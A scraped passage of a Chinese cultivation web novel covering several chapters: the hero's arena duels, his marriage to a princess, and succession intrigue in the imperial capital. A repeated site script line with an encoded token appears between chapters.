心里虽然哭笑不得,但手上的动作可不慢,只见杨笑将身子一闪让过了这一记头撞。那瘦竹竿一头撞的落了空,顿时后背空门大开,杨笑伸手抓向其后背。哪知这瘦竹杆就如同后背长了眼睛似的,身子向下一俯,紧接着一条腿便如蝎子倒蛰钩般直袭杨笑后脑勺而来。 杨笑这一抓落了空,听得脑后风声忙伸手去挡。这一次瘦竹竿却没能躲过,被杨笑一把抓住了小腿。 瘦竹竿被杨笑抓住小腿后立刻面色大变,不等他有所动作就被杨笑一把抓住了后心,接着便将其提到半空中狠狠的往地上一摔。 瘦竹竿正被摔的七荤八素,胸中一口气缓不过来的时候,一只脚已经踩在其项背之间,直踩的他连连求饶:“饶命,饶命啊!在下求饶了。” 狄绒族的人每一个上台后都喜欢自称“爷爷”,这瘦竹竿上台后更是满嘴“爷爷、爷爷”的不离口。交手的时候更是招式古怪,角度叼钻,招招都不离要害,不是面门脖颈就是朝下三路招呼。杨笑早已对他有些恼火,现时下又求起饶来,杨笑哪里听他的话,在脚上又加了份力道,那瘦竹竿顿时被踩的哇哇乱叫。 “你不是喜欢叫爷爷吗?叫一声来听听。” 台下众人本来就对台上的争斗不住的起哄,见那瘦竹竿被踩在地上,西梁一方更是喝彩声和起哄声不断:“叫哇,快叫呀!……。” 那瘦竹竿爬在地上又羞又恼,挣扎了几次都没能成功便胀红了脸大声叫道:“大哥!” ??“小子,你敢羞辱我兄弟!”杨笑回头看时便见一个铁塔般的黑汉子手提一根乌黑大棒跃上台来二话不说就是一棒砸下。 杨笑闪身躲过。那爬在地上的瘦竹竿见那根大棒不管不顾的砸将下来吓的面色一变,连忙一个驴打滚儿,堪堪地躲过了这一棒,那样子别提有多狼狈了。 劫后余生的瘦竹竿躲在一边埋怨道:“大哥,你看着点呀,还有我呢!” 那黑大汉冷哼一声:“没用的东西,还不快滚!”那瘦竹竿这才爬起来灰溜溜的下台去了。 这时杨笑才看清了这黑汉子的模样,此人身高足有八九尺,一身皮肤黢黑油亮,将一根齐腰长的乌铁大棒拄在地上,那大棒一头粗过大腿一头刚好能握在其手中,站在那里真如一尊铁塔一般,当真是黑金刚临世,真巨人当面。 黑大汉一开口声如洪钟:“小子,看你平平常常,没想到还有几份本事。我那兄弟满嘴胡话又技不如人,你打他一顿也就算了,可你不该羞辱于他。”黑大汉打量了一下杨笑接着说道:“我也不欺负你,只要你接我三棒,不论结果如何我都算你赢,这件事也就就此揭过,怎么样?” 杨笑站在那里打量了一下面前的黑大汉,在他身上分明有一股气息冲天而起,丝毫不输梁赞半分,杨笑知道这是硬茬子来了。 见杨笑不说话,大汉喝一声:“嘿!你不说话我就当你答应了。”说话间便抡棒打来。 那大棒足有杨笑腰胯那么粗,放做一般人这一棒要是被打实了非得当场毙命不可,就是如杨笑这般有修为在身的恐怕也要重伤。 杨笑哪里会去硬接他这一棒,早已闪身躲了开来。那大汉似乎并不在意杨笑的躲避,而是任由手中的铁棒砸在了擂台上。“呜……轰!”这一棒夹带着风声打下去,直砸的擂台上石屑飞溅,杨笑只觉脚下的擂台都发出一阵剧烈颤动。 杨笑目光一凝,心道:“好一记撼地锤!这要是打在人身上非打成肉泥不可。” 那大汉一记不中又是一连挥出几棒,杨笑只得左右躲闪。 看台上,西梁王面色不悦道:“南苑王阁下,咱们说好的比武切磋,点到为止,现在这分明是以命相搏了吧?”而那南苑王却是恍若未闻般只是看着场上的争斗并不出声。 擂台上铁塔般的黑大汉一连挥出数棒,杨笑连着躲了几次。那大汉手上大棒挥舞不停,嘴里出声道:“小子,你就是躲上一百次也不做数,有能耐的就跟我实实在在的拼上三记。” 台上斗的紧张,台下看的热闹。狄绒族人看着乐呵,西梁众人却是提心吊胆。就在这时人群中的梁赞抽出一柄刀来叫一声:“杨兄弟接刀!” 擂台上杨笑躲过一棒后顺势腾空而起伸手接过梁赞抛来的钢刀。长刀在手杨笑立即运起全身气机,一股磅礴气势轰然而起。 那大汉目光一凝,大喝一声,将手中铁棒舞动的如车轮一般呼呼生风。杨笑见那大棒砸来,握紧了手中的钢刀迎了上去。 “铛”的一声巨响,火光四溅。杨笑只觉得手里的刀震的自己虎口发麻,而那大汉也不好受。两人一记拼过心中都惊叹于对方的刀量,但手上的动作却毫不停顿。一记过后紧接着又是一记对拼,这一记力量更胜先前,杨笑直觉得双臂发麻,虎口生疼。两个人都是狠人,发起狠来全都不管不顾,紧接着再拼第三记。这一次杨笑手中的刀都危些脱手,蹬、蹬、蹬……一连退了几步,将刀抵在了身后才稳住了身形。 而对面的大汉也是后退了两步。待他站稳脚步后甩了甩手,活动了一个手指和手腕。那大汉望了杨笑一眼后冷笑道:“呵呵,还真是深藏不露啊!” 杨笑听出他话里有话,但也懒得多说,回了句“承让”了事。那大汉丢下一句“算你赢了”转身下了擂台。 看台上的西梁王早已有些恼火了,站起来说道:“好了,比试到此结束。”说完头也不回的走了。 杨笑将刀抛还给梁赞:“多谢梁大哥。” “呵呵,小事。”梁赞收刀入鞘。 “梁大哥这刀不错。” “杨兄弟喜欢就送于你了。” “小弟怎敢夺爱。” “走,大哥给你庆功。” ……。 欲知后事如何,且听下回分解。 window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第六十九回 暗流 书接上回。 上一回说到杨笑在擂台上连胜三场,这一次算是彻底的改变了杨笑在西梁公卿将门后辈年轻人心中的形象。尤其是最后的那一场虽说双方只有短暂的交手,但在场之人都看得出来那三棒之威。凭心而论,这三记重击若是换了别人,恐怕任谁都自问接不下来。虽说三棒之后杨笑已落了下风,但大家也都知道这是在擂台上场地有限,也都看得出来那黑铁塔般的汉子在身法上不如杨笑,所以若是在战场上相遇,胜负还犹未可知。 擂台上西梁一方大胜而归,众将士自是高兴,到了晚上,上台比试过的几个将士叫了要好的朋友找了家酒楼寻欢庆贺去了。若说西梁人里还有谁不高兴的话,那就是被南苑王拂了脸面的西梁王了。 就在众人欢庆夜饮之时,西梁城外一处人迹罕至的深山之中,一个身影盘膝坐在半山腰上的一块大石头上。朦胧的月光下那人的面貌看不十分清楚,只能依稀的看出来是个高大粗犷的男子。 男子从怀里拿出一个小香炉来,放在身前,然后将一块巴掌大的,不知是纸片还是布料的东西放入香炉,随后双手在胸前做了个古怪的手势,嘴里也念念有词,那香炉里便有点点亮光闪动起来随后飘出一股烟来。那股烟在男子的头顶上袅袅的飘荡了几圈后便消散不见了。男子做完这些后便起身恭敬无比的站于一旁安静的等候。 不一会儿,在那股烟消散的地方,凭空又生出一股烟雾来,最后那股早已消散的烟竟然又慢慢的聚拢了回来。烟雾在空中如同活物一般缓缓的蠕动着,男子见状忙跪俯于地恭声道:“弟子见过师尊。” 男子说完后,那烟雾一阵翻滚后在空中形成了一个圆环,那圆环竟如同一面镜子一般映出一个人来。镜中人只露出面部与双肩,乃是一个黑发尖脸面色腊黄的男子,约么五十上下的样子。镜中人方一出现便冷声道:“唤我何事?”看神情似乎是有些不高兴。 男子忙回道:“禀师尊,出了个意料之外的事情。” “说。”镜中人冷冰冰的说道。 “是一个不知来历的小子。” “实力如何?”镜中人问道。 “应该有练气期六层的修为,不过此人战力很强,能与练气七八层一战。” “无妨。”还是冰冷的语气。 “可此人有些古怪。”男子补充道。 “哦?”镜中人似有些疑问。 “弟子在他身上察觉不到任何修为气息,可实力却这般强,弟子怀疑……怀疑……。”男子说到一半有些不知道该不该往下说。 “没什么好怀疑的,想必是有人在他身上做了什么掩饰之法,你修为浅薄察觉不到也很正常。”镜中人对男子的话似乎并不太在意。 “是弟子无能。”男子把头又低了低。 “不怪你,想来是对方哪个老家伙要紧的后辈子弟。哼哼!也好,同辈相争就是有个什么闪失想必那个老家伙也说不出什么来,便宜不能让他们全占了去。”镜中男子接着道:“这件事我知道了,你继续接计划行事,其它的为师自有安排。”说完镜中男子便消失不见了,那团烟雾也很快的消散在空中,而那跪在地上的男子依旧恭敬的说了声“恭送师尊。” 与此同时,西梁城内的一处府邸中。一个中年男子正在细细的品尝着手中的香茗,嘴角上还挂着一丝淡淡的笑意。男子那有些斑白的头发用一个碧玉发冠仔细的束了。男子面色白净红润,颌下三缕长髯打理的很是整洁,穿一身锦绣青袍,腰间一条缎带,上面系了一块雕工精美的玉石,踏一双金丝步云履,穿着打扮十分的讲究,看得出来年轻时定然是一位风流倜傥的俊公子。 那中年男子把玩着手中的茶杯缓缓说道:“照你这么说来,这个小子还挺有意思的,无人指点靠着自己在这么短的时间内就有现在的修为,天赋很不错嘛。”华服男子的身后站了一个身着粗布衣的魁梧汉子,听完华服男子的话忙低头问道:“弟子有心将他引入门中,不知师父是什么意思?” 华服男子伸手掐算了一下,喃喃自语道:“俗缘未了。”随后对身后的男子说道:“如此人才自然是要把他引入门中。不过,不必操之过急。”华服男子品了一口手中的香茗接着说道:“可以先跟他搞好关系,搏得他的一些好感。” “弟子已经在安排了。”那布衣汉子说道。 “哦?”华服男子哦了一声,他对自己这个徒弟的安排有些许好奇。 “呵呵,无非是给他一些凡俗间的荣华富贵。”布衣汉子摸了摸后脑勺有些不好意思。 “哦。”这个回答似乎不出华服男子的意料,不过也没有表示反对。 华服男子喝完茶放下手中的茶杯说道:“这茶不错,虽是凡俗之物却别有一股清香。” 布衣汉子连忙说道:“师父若是喜欢弟子马上为师父备上一些,好带回山中慢慢品尝。” “哦,不必了”华服男子说着站起身来:“你一切接计划行事,剩下的为师自有安排。” 那魁梧汉子见其起身要走便躬身道:“恭送师尊。”华服男子摆摆手,一步迈出便消失不见。 大周朝圣京城内一处院落。院落显然经过精心的布置,显得别有情趣,不过在月色之下却显得有些阴森。越过院墙向外看去,有许多高大的殿宇与这片院落相连,院落似乎只是这片殿宇内一处不起眼的存在。 院落内也有几处房屋,房屋修建的也很讲究,不过与那些高大巍峨的殿宇比起来简直不值一提。一群人正在一间屋子内商议着什么。这些人一个个衣着不俗显然非富即贵,奇怪的是这些富贵之人身边却没有一个仆人丫鬟侍候,而且一个个神色严谨,看来他们正在商议的事情对他们来说十分重要。 ?????……?一个有些清瘦的老者站起身来向上首一人躬身道:“陛下龙体每况愈下,看来没多少光影了,为防意外殿下当早做打算。” 屋中上首位置坐了一个长眉细目的男子,男子不到四十的样子,穿一身宽松的锦袍头发也随意的披散着。听了老者的话后男子并未言语,只是用手指一下一下轻轻的敲着桌子“嗒…嗒…嗒……。” ?“大司马是不是有些过虑了”一个肥硕的家伙靠在椅背上腆着肚子说道:“殿下监国多年早已谋划万全,还能有什么意外。” “冯御史,我看还是小心些好,虽说我们谋划多年,可其他的皇子藩王也没有闲着呀!”对面一个满嘴胡茬的粗犷男子说道。 “虽说小心为妙,可如今御林军、圣京城防军、西山大营还有大多州府驻军都是咱们的人,各处大小府衙也大多掌握。要我说,咱们已经胜券在握,该担心的是他们才是。”另一个高大男子不同意道。 “就是!我看你们就是太过小心了。”一个面相猥琐的小个子附和道。 那老者看了看在坐众人开口道:“殿下,依老臣之见现在最大的变数就是三皇子、七皇子以及四大蕃王,尤其是……。”老者说着望向上首男子。 二人目光相遇,上首男子正了正身子问道:“大司马可有什么妙计?” “依老臣看殿下不如这般行事……。”待老者如此这般这般如此将话说完,众人全都点头称是。 大草原上一座帐篷内。“既然大可汉同意了,那贵我两族今日起便是彼此最忠实的盟友了。” “贵使所言极是。” “大可汉请满饮此杯。” “请!” “请!” “我这便飞鸽传书通知我族大王。” “诶!贵使不必急于一时。来呀!上歌舞!” “哈哈哈哈……。” 西梁城内。南苑王正斜倚在坐位上翻看着手中的一本书籍。“大王,派出去的人已经有了回信。”一个身影跪伏在其身后轻声道。 南苑王就好似没有听到般依旧翻看着手中的书,而那个身影说完后便悄悄的退去了。 一处城墙上,一个身影背负双手望着天上那轮鱼钩般的弯月。“将军,目前一切进展顺利。”阴暗处一个声音禀告道。 “盯紧他们,注意不要打草惊蛇。”那个身影头也不回的说道。 “是!”阴暗中的声音答应一声后便消失了。 这注定是一个不平静的夜晚。 到底杨笑又会经历一场怎样的风雨?欲知后事如何,且听下回分解。 ??????? window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第七十回 新婚 南苑王在西梁城逗留数日后便往大周圣京去了,杨笑奉命一直送出了西梁境界。 南苑王离开后杨笑的日子又恢复了平静,每天处理完军营里的事务后便是打坐修行,偶尔被召去陪一陪五公主。 现如今杨笑在运转体内气息时越发的纯熟起来,随着拓宽的经脉越来越多,气息运转也越来越快,开拓经脉的速度也快了不少,这样一来那股疼痛也越发的让人痛不欲生了,不过杨笑都咬牙坚持了下来。杨笑在经历了这场擂台赛后对修行也有了一种紧迫感,每天稍有空闲,不是打坐运气就是参悟脑海中的那本龙虎功。他知道那天那个黢黑的大汉并没有尽全力,而梁赞更是保留了实力。 很快盛夏便匆匆而过,秋天悄然到来。这个初秋西梁城迎来了一场喜事:五公主要大婚了。 这一天整个西梁城都可谓是披红挂彩。 没入城便远远的看到城头上彩旗飘扬,城门楼挂上了用红绸布团成的红花缎带。进得城中,中轴大街上两边的树木皆是挂上了红布飘带,每棵树下都摆了各色花卉,在秋天的西梁能见到这许多春天才有的鲜花当真是不易。街道两旁的人家每一户都是张灯结彩,更有那些有钱的大户人家将门前装点的就如同自家迎亲嫁女一般。 西梁王府门前,有武士分列两排,武士的脖颈处系了红飘带。每个武士的旁边都放有一个大花篮,花篮上鲜花怒放,红绸飘扬。一条红地毯从王府的大门里一直铺到了台阶下的广场上。 进入王府之中更是如同进入了一片喜庆的海洋一般。连廊下花团锦簇,窗户里大红囍字成双,门楣上的大红花分外惹眼。 府院内早已聚集了许多的宾客,有侍者高声唱着宾客的身份称谓以及所送礼品:“北静王贺新人之喜。送千年人参两株,千年灵芝一对,……兽中之王虎皮两张,鹿茸两对……。” 有侍者将礼品一一捧上。 “这千年人参当真是稀世珍宝啊!” “那灵芝也不可多得呀!” “……。” 众宾客看着那一件件珍宝不时发出一阵阵议论之声。 “东安王贺新人之喜。送东海红珊瑚两株,千里龙涎香两块,……” “诶呦!这红珊瑚怕是不下一丈高啊!” “嗯!这龙涎香当真是名不虚传呀!” “嗯!真是奇香无比呀!” “……。” 众人又是一阵窃窃私语。 “南越王贺新人之喜。送南海夜明珠一对,南海珍珠两百串,……。” “好大的夜明珠啊!” “是啊!比大人的拳头也不小了。” “听说这南海夜明珠随便一颗都是价值连城,这么大的一对哪得价值几何呀!” “哎呀!是啊!是啊!” “……。” “……益州侯送海外异鸟一对,能吐人言,……。” 只见那提笼的训鸟人向那鸟儿说了句什么,那对鸟儿便在笼中跳上跳下嘴里不住的叫道:“公主新婚大吉!公主新婚大吉!……。”反复的叫了好几便。围观众人皆是啧啧称奇。 “虞伯侯送……。” “齐州侯送……。” “蜀中王送……。” “英国公送……。” “……。” 直到把唱礼的嗓子都喊哑了送礼的名单还有一大串,贺礼也是一件件不断的被送入王府中,向众人展示一番后便送到后院去了。 “吉时到,迎新人!”一个嘹亮的声音响起。 只见一对新人身着盛装携手而来。女的身姿曼妙,步步生莲,虽有红纱遮面却掩不住花容月貌。男的身姿挺拔,英气非凡,虽是青春年少却透露出英雄气概。 待两位新人在众人的注视下一步步走入厅内站定后,一名身着锦袍的老者上前高声道:“五公主,杨笑接旨!” 老者乃是大周皇族的一位元老,专为五公主与杨笑大婚传旨而来。 听到有圣旨降临,王府内外之人皆纷纷跪拜接旨。 老者缓缓打开手里的圣旨,朗声道:“奉天承运,大周景仁皇帝陛下,昭曰:西梁王五女自幼随朕膝下使朕得享天伦,朕视同己出。今闻大婚,朕心甚慰。特封公主爵位,号随珠,赐御制凤冠霞帔。” 向来藩王家的女儿只有郡主的封号,以前大家称呼五公主不过是因为当年皇帝的口头承诺,并没有正式的册封旨意,不过这一回真的是名副其实的公主了。而公主的封号自大周王朝开国以来还是第一次赐予藩王的子女,当真是莫大的荣耀。 那老者接着宣读道:“其夫杨笑年轻有为,忠勇双全,赐武威黑虎将军封号,御宝匾额,御制宗祠牌坊。佳人才俊,天赐良缘,祝夫妻偕首,永结同心。钦此!”众人谢恩山呼万岁。 宣旨罢,众人谢恩起身,有宫女双手捧了凤冠霞帔上前,五公主当即换了凤冠霞帔。一名侍者双手捧了一个红托盘来到杨笑跟前,托盘上铺了红锦缎,一个金色卷轴置于其上。杨笑打开卷轴看了,乃是御制宗祠牌坊的圣旨。杨笑向圣京方向谢了恩,将卷轴放回。又有侍者抬了匾额在厅前让杨笑过目,乃是当朝宰相代笔,用了御宝的两块匾额,一题虎威将军府邸,一题黑虎山庄。杨笑看过后也同样谢了恩,有侍者便分头将三样事物送往各处去了。 这时一位满面红光的富态长者站出来高声唱道:“吉时已到,新人见礼!”众宾客分站两旁,有侍女领了两位新人站于中央。 “一拜天地!”两位新人朝门外一拜。 “二拜君王!”二位新人又朝圣京方向一拜。 “三拜高堂!”西梁王并王妃还有五公主生母慧王妃端坐上位,杨笑没有父母,姐姐杨落儿代为上坐,四人皆是笑容满面。两位新人拜了四长辈。 “夫妻对拜!”一对新人相向而拜。 “礼成!新郎谢客!”五公主由侍女领向后厅,杨笑接过侍女捧上的酒杯向在坐宾客一一答谢。 ……。婚宴一直持续到半夜宾客们才相继散去,而杨笑早已被灌的路都走不稳了。几个侍女将杨笑搀了回去,王妃见杨笑醉成这样便向一旁的西梁王埋怨道:“都怨你!怎么也不看着点,让他被人灌成这样。” 西梁王也是喝的双颊通红,迷着一双醉眼打着饱嗝嘿嘿道:“你……你不看本王……他老丈人……我……嗯……不是也没……也没少喝吗?男人嘛!喝……点酒算什么?……。” “行了,行了,看你那幅德行,快回去睡觉吧。”王妃也不等他说完便有些不奈烦道。 西梁王也不生气,陪着笑脸说道:“得……得……得令!”一边说着一边被侍女搀了回去。 到底婚后杨笑的生活会是怎样一幅光景?欲知后事如何,且听下回分解。 ??????? ??????? ??????? window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第七十一回 我们一起去找她 五公主的婚宴一直持续了三天三夜才结束,这场难得一见的热闹事自然不可避免的成为了西梁百姓茶余饭后的谈资,在市井坊间传播了好一段时间后才渐渐地平息下来。 婚后杨笑的时间更紧张了,每日处理完军务后便抓紧空闲时间钻研脑海中的《龙虎功》。晚上,等五公主睡下后他便运起功法一直修行到天亮。倒不是说杨笑真是用功到抓住每一丝空闲时间去修行,而是脑海里的那个声音这段时间以来一直在督促并引导着自己,让他不由自主的便要去修行,对此杨笑也并不感觉有多意外,只是顺着脑海中那个声音的引导去运转气机。 好几次五公主醒来后都看到杨笑闭目盘坐在床尾处一动不动。五公主也不去打扰杨笑,只是静静的看着他,直到杨笑修行完毕睁开双眼。有时候实在是困的厉害,便轻轻的依偎在杨笑身边睡着了。虽然她不知道杨笑在做什么,但她知道自己的夫君不是一个普通人,他必定是在做着非常重要的事情。 “必经嘛!又有谁的男人能驾御的了那样的猛虎!”她心中这样想着。自从那晚在月色之下看到杨笑骑在那只黑色猛虎的身上后,在她的心中便认定了杨笑。 每次杨笑运功结束,睁开眼看到妻子依偎在自己身边,两人便四目相对,然后相视一笑,五公主从来不问,杨笑也从来不说。 平静的日子总是过的很快,中秋节就要到了。按照以往的规矩新婚夫妇是要一块儿回娘家过节的,可杨笑跟五公主本来就住在王府内,于是五公主就想:“我们是不是换个地方过节?”于是五公主就去找父母商量,破天荒的是西梁王竟然想都不想的就答应了。 一路上五公主就好似出笼的鸟儿,一会儿要骑马,一会儿要撑船,别提有多高兴了。“小时候跟着皇伯伯闷在皇宫里,长大了又跟在母亲身边,好不容易出趟门不是跟着父王,就是陪着母亲,他们的规矩都好多,把我看的好严。”五公主一边玩闹着一边说着:“还是现在好。” “你喜欢的话咱们就走慢一点,多玩儿一会儿。”杨笑宠溺道。 “你的那个妹妹是怎么回事?你不是很小的时候就……。” 杨笑看着河水消失的方向轻声道:“她呀?……。”于是杨笑坐在船头向五公主慢慢的说起了纯灵的故事。 二人一路上晃晃悠悠,在中秋节前一天才回到蒲阳山庄,当然现在这里已经改叫黑虎山庄了,庄里的小山也改叫黑虎山了,庄内的一众人也知道了小黑的存在。 五公主在山庄内的大院子门前下了车,杨落儿上前就要参拜,五公主见状忙上前扶住了杨落儿不让她拜下去:“都是一家人,姐姐休要行此大礼。”杨落儿闻言抬头看看五公主,又看看杨笑,见杨笑点头这才起身欢喜道:“对!对!一家人,一家人,呵呵……。” 不待杨落儿刚说完五公主便俯身施了个万福,杨落儿也忙扶住:“公主万万使不得。” 五公主回道:“既是一家人,媳妇儿当然要向姐姐见礼。” 对于五公主的脾气杨笑也是没办法,于是就在一旁说道:“姐姐就不要推辞了。” 最后到底是受了五公主这一拜:“媳妇儿星洛见过姐姐。” 杨落儿喜的在口中连声道好。 中秋夜,群星璀璨,月色如水,明亮的月光将大地上的景物照的清晰可见。月色下,山庄内,湖水旁,一家人围坐一起。月光柔美,和风徐徐,湖水上泛着鳞鳞波光,小桌旁一家人其乐融融,不时的传出阵阵欢声笑语。 渐渐地夜深了,可杨笑却全无睡意,他靠着小黑躺在草地上,望着天空中那轮明亮的圆月回忆着过往的种种。 “想什么呢?”五公主见杨笑望着天空发呆便娇声问道。 “嗯?”杨笑嗯了一声,似乎是没听明白五公主的话。 “我看你望着天空发了好一会儿的呆了,也不理人家。”五公主有些撒娇道。 “我在想过去呢!”杨笑长呼了一口气说道。 “过去?” “嗯。”杨笑点点头。 “说到过去……我听说你有过一个从小青梅竹马的未婚妻?”五公主有些揶揄道:“怎么样,跟我说说吧?” 杨笑低头看向依偎在自己怀里的妻子问道:“你是不是早就把我的底细给翻了个底朝天了?” “哼!那当然了”五公主有些小傲娇道:“也不看看我是谁!” “那你不是都知道了嘛。” ?“可我想听你说说你的故事嘛!她是不是很美?”五公主不依不饶。 “……。”杨笑一时间不知道该从何说起。 “你说说嘛!”五公主靠在杨笑怀里撒着娇。 “你真想知道?”杨笑问道。 “嗯……!”五公主忙不迭的点头。 杨笑望着五公主那双透出期待的漂亮眸子微微一笑道:“好吧。那我就给你说说。”杨笑望着天空慢慢的说起了他和云羲的事:“我小的时候呢……。” 杨笑将自己小时候和云羲的一点一滴都慢慢的说给五公主听,五公主也认真的一点一滴的倾听着,听到动情处五公主突然用手堵住了杨笑的嘴,杨笑有些不解的看向五公主,五公主也用那双好看的眸子望着他:“你不要再说下去了。”因为她知道再往下就是杨笑的伤心事了。杨笑露出一个温暖的笑容抚摸着妻子的秀发说道:“没事的。”说完又把目光望向天空。两个人又安静的依偎在一起看着天上的星星。 “我们一起去找她吧?”过了一会儿五公主突然说道。见杨笑不说话五公主又说道:“我是说真的,我们去把她找回来!”杨笑看着五公主肯定的眼神,好一会儿忽的起身将五公主抱起来朗笑一声:“得妻如此,夫复何求!”说完跃上小黑的脊背在月光下怀抱五公主向远处奔去……。 这一夜,秋月无边,这一夜,春光无限……。 …………………………………………………………………………………………………………………………………………………………??????? ??????? ??????? ??????? ??????? window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第七十二回 圣京变故 ??在山庄住了一段时间五公主竟然喜欢上了这里的生活,没有繁文缛节,没有左拥右簇,有的全是美丽的风景和放松的心情。 她决定就常住在这里了。 当西梁王收到五公主寄来的信时急的直跳脚,直骂杨笑这个“小王八蛋”拐走了自己的宝贝女儿,可最后也只能哀叹一句:“唉!女生外向,女生外向啊!” 至于杨笑,自婚后西梁王便让他接管了骠骑营统领一职,统管王府直辖的轻骑兵。与步军一样,西梁的骑兵也有轻重之分,其中重骑兵以四大近卫营中的虎贲营最是精锐,而西梁王府直辖的轻骑便是分散驻扎在各处的骠骑营了。而各州府自建的骑兵则不在此列。 本来杨笑分管的一处骠骑营离山庄不太远,现在统理整个西梁的骠骑营,那么就需要他到分散在各处的军营巡查。这样一来,来回的路途就是个问题了,不过现在小黑已经被世人所知了,以小黑这头神兽的速度这点路程也就不是什么大问题了,只要三五天的时间就可以在相距最远的军营之间打个来回。 ?日子就这样一天天的过去了,很快就来到了初冬时节。这一天西梁王处理了一上午的公务正要去用膳,自殿门外进来一名侍卫:“王爷,圣京来人,说是有十万火急之事想要求见王爷。” “快传!” 不等那名侍卫出门传唤就见自门外已经匆匆进来一人。来人瘦小身材,黄面皮。这人不等走到近前便边走边行礼道:“下官见过王爷。” 西梁王细看一下来人:“原来是刘大人”说话同时抬手示意那侍卫退下:“刘大人何事这般着急?” 来人乃是周王朝大理寺卿:刘海峰。刘大人上前递上一封密信急切道:“陛下急招王爷速速进京。”西梁王接过密信后刘大人又上前耳语道:“陛下可能不行了。”西梁王闻言面色一变,略一思量后说道:“来人!” “王爷。”有侍卫答应道。 “速传杨笑!” 待侍者离去后西梁王面露笑意转身向刘大人道:“刘大人与我一同用膳,咱们稍事准备便出发。” “王爷您可真能沉得住气……。” “此去圣京上千里路程,再急也不急在这一顿饭的功夫吧。”刘大人无奈只得随西梁王一同用膳去了。 午饭后没一会杨笑便到了,西梁王立刻乘了坐骑点起一队早已准备好的兵马往城外急驰而去。 出了西梁城又一路奔驰来到潮天河边。此时的潮天河两岸河水较浅处已经结上了一层薄冰,不过并不防碍船只通行,若是再冷一些怕是就要封航了。早有几艘大船靠在岸边等候,一行人马立即登船起航。 船舱内,杨笑等随行之人都散去后向西梁王问道:“父王,此行如此着急不知所为何事?” 西梁王看了看杨笑叹道:“算了,你也是我武家的女婿了,便与你说一说这家中的琐事吧。” 杨笑眨眨眼,心道:“帝王家的所谓琐事怕也不是什么小事吧?” “我大周开国已有三百年,三百年来国运起伏,其中种种是一言难尽啊!……。”西梁王将皇朝的种种往事向杨笑娓娓道来。 原来大周王朝也像以往的历代王朝一样经历了崛起、鼎盛和衰落,尤其是近几代帝王有平庸无为的也有昏庸无道的,至使国力每况日下。好在到了当今皇帝继位后励精图治,力图中兴。经过头开始几年兢兢业业的治理却实有所起色,可谁知天不遂人愿,没过多久皇帝忽然得了一场重病,之后就一直卧床不起。没办法,只好仓促间立了太子并让太子代为监国。 头开始太子治理朝政也还算勤奋,可过了没几年便越来越不像话了。每日里不是结党营私与其余几位皇子勾心斗角就是沉迷于声色犬马之中。总之是做尽了荒淫无道之事,至使民不聊生。近些年更是匪患不绝,边境上也是搔乱不断。内忧外患之下,让本就衰落的国力雪上加霜,一落千丈。 现如今皇帝的病突然加重自知将不久于人世,说是多年不见西梁王这个同胞弟弟,想要再见最后一面。其实也是想让西梁王稳住朝廷局势好让太子能够顺利登基。 杨笑听完西梁王的话不解道:“既然太子如此行事为何……?” “你是想说为何还要让太子继承大统吧?” “是孩儿僭越了。”杨笑躬身道。 “无防。”西梁王摆手道:“你想的也是我想的,更是满朝文武所想,不过这都不重要了,皇兄既然让我保太子那我就好好的保他上位,至于你问的为什么……我想皇兄可能对太子还是抱有一线期望的,期望他能浪子回头吧。”西梁王说完端起茶杯轻轻的喝了口茶水。 杨笑听完后想了想问道:“咱们就这么去圣京?” 西梁王有些不解的望向杨笑,杨笑接着道:“父王难道不留些后路?” 西梁王有些意外的望了杨笑一会儿,然后他收回眼神摇头轻声道:“不会的!我与皇兄手足情深,皇兄不会这么对我的,我也从来都没有想过这些。” “父王没有想过不代表别人没有想过,况且以父王的实力……。”杨笑见西梁王的眼神越发变得严利起来连忙又说道:“父王不要误会,孩儿只是单纯的为您的安危着想,必经帝王心思旁人难以猜测,何况又是眼下这种这非常时期。” 西梁王盯着杨笑好一会儿渐渐地低头无力道:“皇兄若真是对我不放心……唉!”叹完气轻轻挥手示意杨笑离去。 此去圣京究竟会发生什么事故?欲知后事如何,且听下回分解。 …………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………… ??????? ??????? ??????? ??????? window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第七十三回 换了天 西梁王星夜兼程,圣京内的各路势力也是活动频频。皇城禁军调动不断;城防军处处换防;京郊大营调兵换将;城内大小衙门明里暗里勤于走动;就连城门洞里的小小城门官也是一换再换。总之就是相关的,不相关的,要紧的,不要紧的全都动了起来。 夜幕深沉,风雪交加。 一个身影不紧不慢的走在风雪中。这人一身黑袍,低着头,宽大的帷帽将面容遮盖的严严实实,跟本看不到长什么样子,只是看背影身形应该是个男子。 